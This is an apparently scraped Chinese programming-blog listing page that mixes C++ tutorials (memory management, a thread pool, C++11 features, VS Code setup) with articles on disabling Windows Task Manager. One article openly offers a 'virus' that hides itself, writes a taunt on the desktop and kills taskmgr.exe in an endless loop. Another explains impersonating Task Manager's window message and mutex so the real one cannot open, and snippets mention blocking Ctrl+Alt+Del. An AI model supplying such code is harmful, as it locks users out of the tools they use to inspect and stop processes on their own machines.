精华内容
下载资源
问答
  • C++入门级病毒:永久关闭任务管理器(重启后失效)
    2019-10-18 22:24:28
    C++病毒第一期:关闭任务管理器

    废话不多说,直接上代码:
    必须要的文件syst.h,请点击我并按照弹出的网页的教程准备。

    
    #include <syst.h>
    int main() {
    	HideWindow();
    	HDC hdc = GetWindowDC(GetDesktopWindow());
    	while(1) {
    		TextOut(hdc,0,2,"你的电脑中了TSK入门级病毒",14);
    		std::string str_exe_name = "taskmgr.exe";
    		DWORD nPid;
    		FindProcess(str_exe_name, nPid);
    		EnableDebugPriv();
    		KillProcess(nPid);
    		cls
    	}
    	return 0;
    }
    
    没有什么技术含量,给入门级参考。仅仅是判断任务管理器进程然后杀掉而已
    
    
    更多相关内容
  • 禁用任务管理器

    2011-11-13 09:26:56
    本程序的关键点是如何操作注册表,记得我开始写本程序时,对注册表的操作老是出错呢!呵呵,现在问题都已经解决了,写本程序序,使我更深刻地理解了在程序中操作注册表的方法!...
  • C++ 禁止任务管理器的另一种方法

    千次阅读 2012-09-17 11:14:57
    禁止任务管理器有改注册表,有以独占方式打开C:\Windows\System32\taskmgr.exe,但是此方法 貌似在win7不管用,我要说的是是另一种 这种方法我也是从网上一篇任务管理器多开的文章想到的 大家都知道任务管理器是...

    禁止任务管理器有改注册表,有以独占方式打开C:\Windows\System32\taskmgr.exe,但是此方法

    貌似在win7不管用,我要说的是是另一种

    这种方法我也是从网上一篇任务管理器多开的文章想到的

    大家都知道任务管理器是单实例的,也就是你开看一个任务管理器,再想打开第二个是不可能的,

    根据这个特点,我们完全可以模仿一个任务管理器,这样如果你再想打开任务管理器的,任务管理器

    检查到已经有一个了,便不再运行,直接退出,真是个好办法啊

    那问题是怎样模仿任务管理器?我第一个想到的就是用ShellExcute以隐藏窗口打开任务管理器,这样

    不一下解决了

    但我有更好的办法,我们可以创建一个控件,然后SetWindowText(hDlg, "Windows 任务管理器");

    貌似按道理说任务管理器就会认为我们是任务管理器,然后就不运行的,但是测试后发现任务管理器还是

    可以打开,看来光是标题和任务管理器一样,并不能被认同

    通过对任务管理器的分析后得知,任务管理器用FindWindow("Windows 任务管理器",0);后还向窗口

    发送了一个0x40b的消息,并且检查了消息结果是否为0x40b

    知道了这些,我们再来改善我们假冒的任务管理器,首先定义一个宏

    #define			WM_TESTTASKMGR				0x40b


    然后在窗体的消息处理函数中加入

    	case WM_TESTTASKMGR:
    		SetWindowLong(hDlg, DWL_MSGRESULT, WM_TESTTASKMGR);
    		break;


    通过对WM_TESTTASKMGR消息下断,发现当打开任务管理器的时候,的确是收到了这个消息

    呵呵,任务管理器没有再出来了,我们的假冒计划成功了,但是以上代码在xp可以,win7还是不行

    没关系,再次分析任务管理器,发现win7还加入了一个互斥体,如果打开互斥体失败,任务管理器还是会出来的

    因此我们再次改善任务管理器,加入以下代码

    CreateMutex(0, FALSE, "Local\\TASKMGR.879e4d63-6c0e-4544-97f2-1244bd3f6de0");

    呵呵,这样xp和win7都可以禁止了

    展开全文
  • C#屏蔽Windows快捷键及任务管理器 public delegate int HookProc(int nCode, int wParam, IntPtr lParam); private static int hHook = 0; public const int WH_KEYBOARD_LL = 13; //LowLevel键盘截获,如果是WH...
  • 使用qt写的一个demo,具有屏蔽系统组合按键入Alt+Tab/Alt+Esc/Ctrl+Alt+Del 以及隐藏任务栏功能
  • C++ 内存管理(一)

    2021-08-17 00:51:05
    C++ 内存管理(一)导语c++ 内存管理学习自侯捷。下面是本次对C++内存管理一些笔记。1.四种内存分配与释放在编程时可以通过上图的几种方法直接或间接地操作内存。下面将介绍四种C++内存...

    C++ 内存管理(一)

    导语

    c++ 内存管理学习自侯捷。

    下面是本次对C++内存管理一些笔记。

    1.四种内存分配与释放

    在编程时可以通过上图的几种方法直接或间接地操作内存。下面将介绍四种C++内存操作方法:

    对于GNU C:四种分配与释放方式如下:

       // C函数
       void *p1 = malloc(512);
       *(int *) p1 = 100;
       cout << *(int *) p1 << endl;
       free(p1);
    
    
       // C++表达式
       int *p2 = new int(10);
       cout << *p2 << endl;
       delete p2;
    
    
       // C++函数 实际上等价于上述malloc与free
       void *p3 = ::operator new(512);
       *(int *) p3 = 103;
       cout << *(int *) p3 << endl;
      ::operator delete(p3);
    
    
       //C++标准库
       printf("hello gcc %d\n", __GNUC__);
    #ifdef __GNUC__
    // 以下函数都是non-static,一定要通过object调用,以下分配7个单元,而不是7个字节
       int *p4 = allocator<int>().allocate(7);
       *p4 = 9;
       cout << *p4 << endl;
       allocator<int>().deallocate((int *) p4, 7);
    
    
       /**
        * void *p = alloc::allocate(512); 分配512bytes
        * alloc::deallocate(p,512);
        */
       // __pool_alloc等价于之前的alloc 9个单元
       int *p5 = __gnu_cxx::__pool_alloc<int>().allocate(9);
       *p5 = 10;
       cout << *p5 << endl;
       __gnu_cxx::__pool_alloc<int>().deallocate((int *) p5, 9);
    #endif
    

    2.new/delete表达式

    2.1 new表达式

    当使用operator new

    // 下面这个是new expression,而operator new 是函数
    Complex* pc = new Complex(1,2);
    

    上述会被编译器转为:

    Complex *pc;
    try {
    // operator new 实现自 new_op.cc
       void* mem = operator new(sizeof(Complex)); //allocate 分配内存
       pc = static_cast<Complex*>(mem);    // cast 转型 以符合对应的类型,这里对应为Complex*
       pc->Complex::Complex(1,2); // construct
       // 注意:只有编译器才可以像上面那样直接呼叫ctor 欲直接调用ctor可通用placement new: new(p) Complex(1,2);
    }
    catch(std::bad_alloc) {
       // 若allocation失败就不执行constructor
    }
    

    new操作背后编译器做的事:

    • 第一步通过operator new()操作分配一个目标类型的内存大小,这里是Complex的大小;

    • 第二步通过static_cast将得到的内存块强制转换为目标类型指针,这里是Complex*

    • 第三版调用目标类型的构造方法,但是需要注意的是,直接通过pc->Complex::Complex(1, 2)这样的方法调用构造函数只有编译器可以做,用户这样做将产生错误。

    注意:operator new()操作的内部是调用了malloc()函数。

    operator new()具体实现源代码见:

    https://github.com/gcc-mirror/gcc/blob/master/libstdc%2B%2B-v3/libsupc%2B%2B/new_op.cc

    2.2 delete表达式

    对于上述delete调用,

    delete pc;
    pc->~Complex();  //先析构
    operator delete(pc);   //然后释放内存
    

    delete操作步骤:

    • 第一步调用了对象的析构函数

    • 第二步通过operator delete()函数释放内存,本质上也是调用了free函数。

    operator delete()具体实现源代码见:

    https://github.com/gcc-mirror/gcc/blob/master/libstdc%2B%2B-v3/libsupc%2B%2B/del_op.cc

    3.array new/array delete

    3.1 array

    上图主要展示的是关于array new内存分配的大致情况。

    当new一个数组对象时(例如 new Complex[3]),编译器将分配一块内存,这块内存首部是关于对象内存分配的一些标记,然后下面会分配三个连续的对象内存,在使用delete释放内存时需要使用delete[]。

    什么情况下发生内存泄露?

    如果不使用delete[],只是使用delete只会将分配的三块内存空间释放,但不会调用对象的析构函数,如果对象内部还使用了new指向其他空间,如果指向的该空间里的对象的析构函数没有意义,那么不会造成问题,如果有意义,那么由于该部分对象析构函数不会调用,那么将会导致内存泄漏

    图中new string[3]便是一个例子,虽然str[0]、str[1]、str[2]被析构了,但只是调用了str[0]的析构函数,其他对象的析构函数不被调用,这里就会出问题。

    其中的cookie保存的是delete[]里面的数据,比如delete几次。

    3.2 演示数组对象创建与析构过程

    构造函数调用顺序是按照构建对象顺序来执行的,但是析构函数执行却相反。

    构造函数:自上而下;析构函数:自下而上。

    3.3 malloc基本构成

    如果使用new分配十个内存的int,内存空间如上图所示,首先内存块会有一个头和尾,黄色部分为debug信息,灰色部分才是真正使用到的内存,蓝色部分的12bytes是为了让该内存块以16字节对齐。在这个例子中delete pi和delete[] pi效果是一样的,因为int没有析构函数。但是如果释放的对象的析构函数有意义,array delet就必须采用delete[],否则发生内存泄露。

    4.placement new

    char *buf = new char[sizeof(Complex) * 3];
    Complex *pc = new(buf)Complex(1, 2);
    delete[]buf;
    

    上述被编译器编译为:

    Complex *pc;
    try
       void* mem = operator new(sizeof(Complex),buf); //allocate
       pc= static_cast<Complex*>(mem);//cast
       pc->Complex::Complex(1,2);//construct
    } catch (std::bad_alloc) {
       // 若allocation失败就不执行construct
    }
    

    值得注意的是,这里采用的operator new有两个参数,我们在下面源码中:

    https://github.com/gcc-mirror/gcc/blob/master/libstdc%2B%2B-v3/libsupc%2B%2B/new

    看到:

    _GLIBCXX_NODISCARD inline void* operator new(std::size_t, void* __p) _GLIBCXX_USE_NOEXCEPT
    { return __p; }
    

    因此得出,没有做任何事,直接返回buf, 因此placement new 就等同于调用构造函数。也没有所谓的operator delete ,因为placement new根本没有分配memory。

    5.重载

    5.1 C++内存分配的途径

    如果是正常情况下,调用new之后走的是第二条路线,如果在类中重载了operator new(),那么走的是第一条路线,但最后还是要调用到系统的::operator new()函数,这在后续的例子中会体现。

    对于GNU C,背后使用的allocate()函数最后也是调用了系统的::operator new()函数。

    5.2 重载new 和 delete

    上面这张图演示了如何重载系统的::operator new()函数,该方法最后也是模拟了系统的做法,效果和系统的方法一样,但一般不推荐重载::operator new()函数,因为它对全局有影响,如果使用不当将造成很大的问题。

    如果是在类中重载operator new()方法,那么该方法有N多种形式,但必须保证函数参数列表第一个参数是size_t类型变量;对于operator delete(),第一个参数必须是void* 类型,第二个size_t是可选项,可以去掉。

    对于operator new[]和operator delete[]函数的重载,和前面类似。

    6.pre-class allocator1

    前面把基本元素的重载元素学完了,例如:new、operator new、array new等等。万事俱备,现在可以开始一个class进行内存管理。

    对于malloc来说,大家都有一个误解,以为它很慢,其实它不慢,后面会讲到。无论如何,减少malloc的调用次数,总是很好的,所以设计class者,可以先挖一块,只使用一次malloc,使用者使用,就只需要调用一次malloc,这样就是一个小型的内存管理。

    除了降低malloc次数之外,还需要降低cookie用量。前面提到一次malloc需要一组(两个)cookie,总共8字节。

    所以,如果一次要1000个大小,这1000个切下来,都是不带cookie,只有1000个一整包上下带cookie。所以内存池的设计就是一整块,一个池塘。这一大块设计不但要提升速度,而且要降低浪费率。所以内存管理目标就是,一个是速度,一个是空间。

    每次挖一大块,需要指针把他们穿起来,如下图右边链表结构,基于这个考量,下面例子中设计了next指针。此时碰到了一个困惑:多设计了一个指针,去除了cookie,却膨胀率100%(int i 占4字节,指针也是4字节)。

    使用者使用new的时候,就会被接管到operator new这个函数来,delete类似。

    分配:operator new就是挖一大块,里面主要做的就是指针操作与转型。其中freeStore指向头,operator new返回的就是freeStore表头。

    回收:当使用者delete一个Scree,就会先调用析构函数,然后调用释放内存函数,operator delete接管了这个任务,接收到一个指针。就把这个链表回收到单向链表之中。单向链表始终都有一个头,所以回收动作最快放在链表开头。

    7.pre-class allocator2

    这里与上述不同之处在于使用union设计,这里带来了一个观念:嵌入式指针,embedding pointer。

    分配与释放同前面6。

    嵌入式指针:rep占16字节,next占前8字节。

    union {
       AirplaneRep rep;  //此針對 used object
       Airplane* next;   //此針對 free list
    };
    

    借用一个东西的前8字节当指针用,这样整体上可以节省空间,这是一个很好的想法,在内存管理中都是这么来用。

    最后,6与7中的operator delete并没有free掉,只是回收到单向链表中。这样子好?

    这种当然不好,技术难点非常高,后面谈!虽然没有还给操作系统,但不能说它内存泄露,因为这些都在它的"手上"。

    8.static allocator3

    不要把内存分配与回收写在各个class中,而要把它们集中在一个allocator中!

    在前面设计中,每次都需要重载相应的函数,内部处理一些逻辑,重复代码量多,我们可以将这些包装起来,使它容易被重复使用。以下展示一个作法:每个allocator object都是个分配器,在allocator设计了allocate与deallocate两个函数。,它内部设计如下:

    class allocator
    {
    private:
       struct obj {
           struct obj* next;  //embedded pointer
      };
    public:
       void* allocate(size_t);
       void  deallocate(void*, size_t);
       void  check();
    
    
    private:
       obj* freeStore = nullptr;
       const int CHUNK = 5; //小一點方便觀察 标准库里面是20
    };
    

    其他类,例如:Foo和Goo,当需要allocator这种内存管理池,只需要写出下面两个函数:

    static void* operator new(size_t size)
    {
       return myAlloc.allocate(size);
    }
    static void  operator delete(void* pdead, size_t size)
    {
       return myAlloc.deallocate(pdead, size);
    }
    

    然后把内部做的动作交给myAlloc。myAlloc是专门为Foo或者Goo之类的服务的,可以设计为静态 :

    static allocator myAlloc;
    

    想象成里面有一根指针指向一条链表,专门为自己服务。

    这里实现同前面的实现。

    void* allocator::allocate(size_t size)
    {
       obj* p;
    
    
       if (!freeStore) {
           //linked list 是空的,所以攫取一大塊 memory
           size_t chunk = CHUNK * size;
           freeStore = p = (obj*)malloc(chunk);
    
    
           //cout << "empty. malloc: " << chunk << " " << p << endl;
    
    
           //將分配得來的一大塊當做 linked list 般小塊小塊串接起來
           for (int i = 0; i < (CHUNK - 1); ++i) {  //沒寫很漂亮, 不是重點無所謂.  
               p->next = (obj*)((char*)p + size);
               p = p->next;
          }
           p->next = nullptr;  //last      
      }
       p = freeStore;
       freeStore = freeStore->next;
    
    
       //cout << "p= " << p << " freeStore= " << freeStore << endl;
    
    
       return p;
    }
    

    同前面实现:

    void allocator::deallocate(void* p, size_t)
    {
       //將 deleted object 收回插入 free list 前端
      ((obj*)p)->next = freeStore;
       freeStore = (obj*)p;
    }
    

    这样设计好之后,任何一个class要使用它,这种写法比较干净,application classes不再需内存分配纠缠不清,所有相关细节交给allocator去操心。

    9.macro for static allocator4

    之前的几个版本都是在类的内部重载了operator new()和operator delete()函数,这些版本都将分配内存的工作放在这些函数中,但现在的这个版本将这些分配内存的操作放在了allocator类中,这就渐渐接近了标准库的方法。

    从上面的代码中可以看到,两个类Foo和Goo中operator new()和operator delete()函数等很多部分代码类似,于是可以使用来将这些高度相似的代码提取出来,简化类的内部结构,但最后达到的结果是一样的。

    //DECLARE_POOL_ALLOC -- used in class definition
    #define DECLARE_POOL_ALLOC() \
    public:\
       void* operator new(size_t size) { \
           return myAlloc.allocate(size); \
       } \
       void operator delete(void* p) { \
           myAlloc.deallocate(p, 0); \
       } \
    protected: \
       static light::allocator myAlloc;
    
    
    //IMPLEMENT_POOL_ALLOC -- used in class implementation
    #define IMPLEMENT_POOL_ALLOC(class_name) \
    light::allocator class_name::myAlloc;
    

    Foo、Goo:

    class Foo {
    DECLARE_POOL_ALLOC()
    public:
       long L;
       string str;
    public:
       Foo(long l): L(l) {
      }
    };
    
    
    IMPLEMENT_POOL_ALLOC(Foo)
    
    
    class Goo {
    DECLARE_POOL_ALLOC()
    public:
       complex<double> c;
       string str;
    public:
       Goo(const complex<double> x): c(x) {
      }
    };
    
    
    IMPLEMENT_POOL_ALLOC(Goo)
    

    10.global allocator

    前面设计了版本1、2、3、 4。

    版本1:最简单,版本2:加上了embedding pointer,版本3:把内存的动作抽取到class中,版本4:设计一个macro。

    上面我们自己定义的分配器使用了一条链表来管理内存的,但标准库却用了多条链表来管理,这在后续会详细介绍:

    11.new handler

    当operator new无法满足某一内存分配需求时,它会抛出std::bad_alloc exception。某些编译器则返回0,你可以另编译器那么做:new(nothrow) Foo;

    在抛出异常之前,它会调用一个客户指定的错误处理函数,也就是所谓的new-handler。

    客户通过调用set_new_handler来设置new-handler:

    namespace std {
    typedef void (*new_handler)();
    new_handler set_new_handler(new_handler p) throw();
    }
    

    set_new_handler返回之前设置的new_handler。

    当operator new无法满足内存申请时,它会不断调用new-handler函数,直到找到足够内存。因此,一个设计良好的new-handler必须做以下事:

    a:让更多内存可被使用,以便使operator new下一次分配内存能够成功。实现方法之一就是程序一开始就分配一大块内存,而后当new-handler第一次被调用时,将它们还给程序使用;

    b:安装另一个new-handler:如果目前的new-handler无法获得更多内存,并且它直到另外哪个new-handler有此能力,则当前的new-handler可以安装那个new-handler以替换自己,下次当operator new调用new-handler时,就是调用最新的那个。

    c:卸载new-handler,一旦没有设置new-handler,则operator new就会在无法分配内存时抛异常;

    d:抛出bad_alloc异常;

    e:不返回,直接调用abort或exit。

    c++ 设计是为了给我们一个机会,因为一旦内存不足,整个软件也不能运作,所以它借这个机会通知你,也就是通过set_new_handler调用我们的函数,由我们来决定怎么办。

    现在回过头看operator new源码:

    如果malloc没有成功,handler函数会循环调用,除非我们将handler设置为空,或者在handler中抛出异常。

    operator new (std::size_t sz) _GLIBCXX_THROW (std::bad_alloc)
    {
     void *p;
    
    
     /* malloc (0) is unpredictable; avoid it. */
     if (__builtin_expect (sz == 0, false))
       sz = 1;
    
    
     while ((p = malloc (sz)) == 0)
    {
         new_handler handler = std::get_new_handler ();
         if (! handler) //利用NULL,跑出错误异常
         _GLIBCXX_THROW_OR_ABORT(bad_alloc());
         handler ();  // 重新设定为原来的函数
    }
    
    
     return p;
    }
    

    例子:

    #include <new>
    #include <iostream>
    #include <cassert>
    
    
    using namespace std;
    
    
    void noMoreMemory() {
       cerr<<"out of memory";
       abort();
    }
    
    
    
    
    int main() {
       set_new_handler(noMoreMemory);
       int *p=new int[900000000000000];
       assert(p);
    }
    

    输出:

    out of memory
    

    12.=default和=delete

    (=default与=delete) it is not only for constructors and assignments, but also applies to operator new/new[], operator delete/delete[] and their overloads.

    解释一下,=default和=delete不仅适用于构造函数和赋值,还适用于operator new / new []operator delete / delete []及其重载。

    C++ 的类有四类特殊成员函数,它们分别是:默认构造函数、析构函数、拷贝构造函数以及拷贝赋值运算符。这些类的特殊成员函数负责创建、初始化、销毁,或者拷贝类的对象。如果程序员没有显式地为一个类定义某个特殊成员函数,而又需要用到该特殊成员函数时,则编译器会隐式的为这个类生成一个默认的特殊成员函数。

    (1)C++11 标准引入了一个新特性:"=default"函数。

    程序员只需在函数声明后加上“=default;”,就可将该函数声明为 "=default"函数,编译器将为显式声明的 "=default"函数自动生成函数体。

    class X {
    public:
    X() = default;
    }
    
    • "=default"函数特性仅适用于类的特殊成员函数,且该特殊成员函数没有默认参数。

    class X1
    {
    public:
       int f() = default;      // err , 函数 f() 非类 X 的特殊成员函数
       X1(int, int) = default;  // err , 构造函数 X1(int, int) 非 X 的特殊成员函数
       X1(int = 1) = default;   // err , 默认构造函数 X1(int=1) 含有默认参数
    };
    
    • "=default"函数既可以在类体里(inline)定义,也可以在类体外(out-of-line)定义。

    class X2
    {
    public:
       X2() = default; //Inline defaulted 默认构造函数
       X2(const X&);
       X2& operator = (const X&);
       ~X2() = default;  //Inline defaulted 析构函数
    };
    
    
    X2::X2(const X&) = default;  //Out-of-line defaulted 拷贝构造函数
    X2& X2::operator= (const X2&) = default;   //Out-of-line defaulted 拷贝赋值操作符
    

    (2)为了能够让程序员显式的禁用某个函数,C++11 标准引入了一个新特性:"=delete"函数。程序员只需在函数声明后上“=delete;”,就可将该函数禁用。

    class X3
    {
    public:
       X3();
       X3(const X3&) = delete;  // 声明拷贝构造函数为 deleted 函数
       X3& operator = (const X3 &) = delete; // 声明拷贝赋值操作符为 deleted 函数
    };
    
    • "=delete"函数特性还可用于禁用类的某些转换构造函数,从而避免不期望的类型转换

    class X4
    {
    public:
       X4(double) {}
       X4(int) = delete;
    };
    
    • "=delete"函数特性还可以用来禁用某些用户自定义的类的 new 操作符,从而避免在自由存储区创建类的对象

    class X5
    {
    public:
       void *operator new(size_t) = delete;
       void *operator new[](size_t) = delete;
    };
    

    回到侯老师课上,见下面两个ppt:

    首先使用了=default对operator newoperator delete,由于=defalult不能使用在这些函数上面,在侯老师代码中,将这两行注释掉了,保留了=delete的代码,所以在右侧输出,使用new没问题,使用new[]被禁用,自然报错,第二个是operator newoperator delete被禁用,因此new被禁用,报错,new[]正常。

    参考资料:https://www.cnblogs.com/lsgxeva/p/7787438.html

    展开全文
  • C++实现简单线程池

    2022-04-11 23:13:41
    C++实现简易线程池

    线程池

    尽管C++11加入线程库,但C++对多线程的支持还是比较初级,稍微高级的用法还是需要自己实现。线程池是提前创建并维护多个线程,等待管理者分配任务的机制,避免短时间线程创建和销毁的代价,一般是IO密集型的场景使用。主要包括线程管理器、任务线程、消息队列

    • 线程管理器:主要功能是创建和启动线程、调配任务、管理线程等。主要有三个方法:

      • start:创建一定数量线程池
      • stop:终止所有线程并回收资源
      • addTask:添加任务到消息队列
    • 任务线程:等待分配任务的线程,一般使用条件变量实现等待和通知机制

    • 任务队列:存放任务的缓冲机制,队列有调度功能,使用优先队列实现,但需要锁限制并发

    线程池工作的几种情况

    按任务队列和线程池大小可分成四种情况:

    1. 没有任务,线程池中任务队列为空,啥也不做
    2. 添加小于等于线程池数量的任务,主线程添加任务后通知唤醒线程池中的线程开始取任务。此时任务缓冲队列还是空
    3. 添加大于线程池数量的任务,继续添加发现线程池用完,于是存入缓冲队列,工作线程空闲后主动从任务队列取任务执行
    4. 添加大于线程池数量的任务,且任务队列已满,当线程中线程用完,且任务缓冲队列已满,进入等待状态,等待任务缓冲队列通知

    线程池的实现

    声明

    使用C++11中的bind/function定义和调用任务处理函数

    任务处理函数的声明、优先级、带优先级的任务:

    typedef std::function<void()> Task_type;//任务类型
    enum taskPriorityE {LOW,MIDDLE,HIGH};//优先级
    typedef std::pair<taskPriorityE,Task_type> TaskPair;//任务优先级和任务类型组合的任务
    

    禁用拷贝构造和赋值运算符:

    ThreadPool(const ThreadPool&);
    const ThreadPool& operator=(const ThreadPool&);
    

    声明线程池大小、任务队列、互斥锁和条件变量、线程池是否开始

    int m_threads_size;//线程池大小
    std::vector<std::thread*> m_threads;//线程池
    std::priority_queue<TaskPair,std::vector<TaskPair>,TaskPriorityCmp>  m_tasks;//任务队列
    std::mutex m_mutex;//STL队列不是线程安全的,因此需要结合互斥锁
    std::condition_variable m_cond;//条件变量
    bool m_started;//是否开始
    

    另外值得注意的是为了安全性和便捷性,只暴露stop和addTask两个接口给用户,其他start和threadLoop、take等接口都被声明为私有函数,

    实现

    构造函数通过传入的参数,初始化线程池大小、锁、条件变量、是否开始,之后开始运行

    ThreadPool::ThreadPool(int threads_size)
        :m_threads_size(threads_size),m_mutex(),m_cond(),m_started(false)
    {
        start();
    }
    

    start中创建线程,并将线程和任务处理函数进行绑定

    void ThreadPool::start()
    {
        assert(m_threads.empty());
        assert(!m_started);
        m_started = true;
        m_threads.reserve(m_threads_size);
        for(int i=0;i<m_threads_size;++i)
        {
            m_threads.push_back(new std::thread(std::bind(&ThreadPool::threadLoop,this)));
        }
    }
    

    stop中通知所有线程,并将所有线程分离,最后将线程池清空

    void ThreadPool::start()
    {
        assert(m_threads.empty());
        assert(!m_started);
        m_started = true;
        m_threads.reserve(m_threads_size);
        for(int i=0;i<m_threads_size;++i)
        {
            m_threads.push_back(new std::thread(std::bind(&ThreadPool::threadLoop,this)));
        }
    }
    

    threadLoop中循环从队列中拿任务并执行

    void ThreadPool::threadLoop()
    {
        while(m_started)
        {
            Task_type task = take();
            if(task)
                task();
        }
    }
    

    addTask是添加任务到任务队列,并通知线程。为方便使用重载addTask函数

    void ThreadPool::addTask(const Task_type& task)
    {
        std::unique_lock<std::mutex> lock(m_mutex);
        TaskPair taskPair(MIDDLE,task);
        m_tasks.emplace(taskPair);
        m_cond.notify_one();
    }
    
    void ThreadPool::addTask(const TaskPair& taskPair)
    {
    
        std::unique_lock<std::mutex> lock(m_mutex);
        m_tasks.emplace(taskPair);
        m_cond.notify_one();
    }
    
    

    take从队列中拿任务,若队列为空且已开始,则等待,对应上面的情况1,若不空则从队列拿任务并返回

    ThreadPool::Task_type ThreadPool::take()
    {
        std::unique_lock<std::mutex> lock(m_mutex);
        while(m_tasks.empty()&&m_started)
        {
            m_cond.wait(lock);
        }
    
        Task_type task;
    
        int size = m_tasks.size();
        if(!m_tasks.empty()&&m_started)
        {
            task = m_tasks.top().second;
            m_tasks.pop();
            assert(size -1 == m_tasks.size());
        }
        return task;
    }
    

    最后提醒下,由于STL的队列不是线程安全,因此对队列的添加addTask、删除take都需要锁,当然后续会改进成使用boost库中线程安全的队列,这样就能大大提高并发性。

    总结

    使用C++11中的thread、mutex、condition_variable、priority_queue、vector实现简单的线程池。后续考虑使用无锁队列优化。完整代码见这里

    展开全文
  • 课程设计-设计任务与要求: 高校水电费管理的包括高校学生与教工用水用电的管理,主要业务为添加、查询、显示、编辑、删除、统计、水电费计算等。设计一个高校水电费管理系统,实现上述业务活动的计算机管理。要求...
  • c++恢复msconfig禁用的服务和自启动项(补充) ...win10下通过任务管理器禁用自启动程序 win10之前都是通过MSConfig禁用自启动程序 win10下通过任务管理器禁用的自启动程序修改的是 HKEY_LOCAL_MACHINE\SOFTW
  • //任务管理器 private: HWND task; }; #endif // CHOOK_H .cpp #include "chook.h" #include #include //在注册表该目录下增加新内容 #define TASKMANAGERSystem "HKEY_CURRENT_USER\\Software\\...
  • 1.1 C++简介 1.2 C++简史 1.2.1 C语言 1.2.2 C语言编程原理 1.2.3 面向对象编程 1.2.4 C++和泛型编程 1.2.5 C++的起源 1.3 可移植性和标准 1.3.1 C++的发展 1.3.2 本书遵循的C++标准 1.4 程序创建的技巧 ...
  • 禁用Ctrl+Alt+Del最有效的方法

    千次阅读 2020-08-12 15:26:37
    通过注册表禁用,网上大多数用此方法,打开任务管理器就会提示被禁用; 监视窗口或进程,一发现就Kill掉; 键盘Hook(任务管理器出来后,才能检测到组合键;其实没用…); Open Environ$(“WinDir”)&"\system...
  • 上述策略须在管理员帐户下操作 上述方法因需用到“组策略”,故该法适用于: Microsoft Windows XP Professional Microsoft Windows2003等能够使用组策略的操作系统 操作 1、点击『开始』菜单 2、点击“运行”并...
  • C++ C++实战笔记

    千次阅读 多人点赞 2021-06-13 22:14:30
    本文整理C++实战笔记,做个记录。 google c++ code style https://zh-google-styleguide.readthedocs.io/en/latest/google-cpp-styleguide/ C++语言的编程范式 “编程范式”是一种“方法论”,就是指导你编写代码的...
  • Scott Meyers大师Effective三部曲:Effective C++、More Effective C++、Effective STL,这三本书出版已很多年,后来又出版了Effective Modern C++。 Effective C++的笔记见:...
  • 进程解释文章 (1)[system Idle ...描 述: Windows页面内存管理进程,拥有0级优先。 介绍:该进程作为单线程运行在每个处理器上,并在系统不处理其他线程的时候分派处理器的时间。它 的cpu占用率越大表
  • 多个线程虽然共享一样的数据,但是却执行不同的任务。 1.4 并发 并发是指在同一个时间里CPU同时执行两条或多条命令。单核CPU和C++11以前实现的并发一般是伪并发。但随着多核CPU的普及,C++11开始支持真正意义上的...
  • 本文目的:为VS Code配置好C++ 开发环境,以及VS Code +CMake的配置 对于C++ 工程,有四个必要的json配置文件,先ctrl+shift+p打开输入指令分别是: c_cpp_properties.json :配置项目结构,自动生成和更新,输入C/...
  • windows禁止系统运行某个程序的简单办法!!!!!!
  • C和C++程序通常会对文件进行读写,并将此作为它们正常操作的一部分。不计其数的漏洞正是由这些程序与文件系统(其操作由底层操作系统定义)交互方式的不规则性而产生的。这些漏洞最常由文件的识别问题、特权管理不善,...
  • C++后台开发面试题总结(涉及C++基础知识、多线程多进程、TCP/IP网络编程、Linux操作、数据结构与算法) 因巩固知识体系,面试,梳理以往看到过的知识点,故总结如下相关题目,题目答案请自行google baidu,这里只...
  • 在VSCode中使用C++开发环境准备工作配置VSCode下的C++运行调试环境创建测试代码配置编译环境配置运行调试环境编译中间文件存储位置修改 准备工作 要在VSCode中使用C++的开发环境,需要下载并安装: VSCode,同安装...
  • C++编码风格/规范/建议

    千次阅读 2021-11-23 09:57:51
    Google 开源项目风格指南 里面包含五份(C++ 、Objective-C、Python 、JSON、Shell )中文版的风格指南。
  • 单例模式、C++11、异常和智能指针。 目录 单例模式 要求设计一个类,只能让其创建在堆上。 你实现一个类,要求该类只能在栈上去创建 设计一个函数,要求防止拷贝构造 单例模式: 饿汉模式 懒汉模式 ...
  • LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam) { CWPSTRUCT *pCwp = (CWPSTRUCT *)lParam; ... return CallNextHookEx(hHook,nCode,wParam,lParam);...我采用hook的方式进行屏蔽的,但是...
  • C++ socket通信详解

    千次阅读 多人点赞 2020-08-28 22:07:51
    WSASYSNOTREADY 网络通信中下层的网络子系统没准备好 WSAVERNOTSUPPORTED Socket实现提供版本和socket需要的版本不符 WSAEINPROGRESS 一个阻塞的Socket操作正在进行 WSAEPROCLIM Socket的实现超过Socket支持的任务数...
  • C++范例大全(400)

    2013-06-29 21:23:07
    实例302——隐藏显示系统的任务条 实例303——改变系统的桌面壁纸 第13章 实例304——使用CAsyncSocket进行无连接(UDP)通信 实例305——使用CSocket进行有连接(TCP)通信 实例306——CS结构信息转发的实现...
  • c++11、14新特性

    2021-12-15 19:45:36
    参考自:c++ primer plus、c++标准库 小功能 std::initializer_list 这是一个模板类,可用于容器构造时的初始化,初始列中的元素必须为同一类型(或者可以转换成同一类型)。 vector<int> vecTest {10, 6, 7};...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 10,565
精华内容 4,226
关键字:

c++禁用任务管理器

c++ 订阅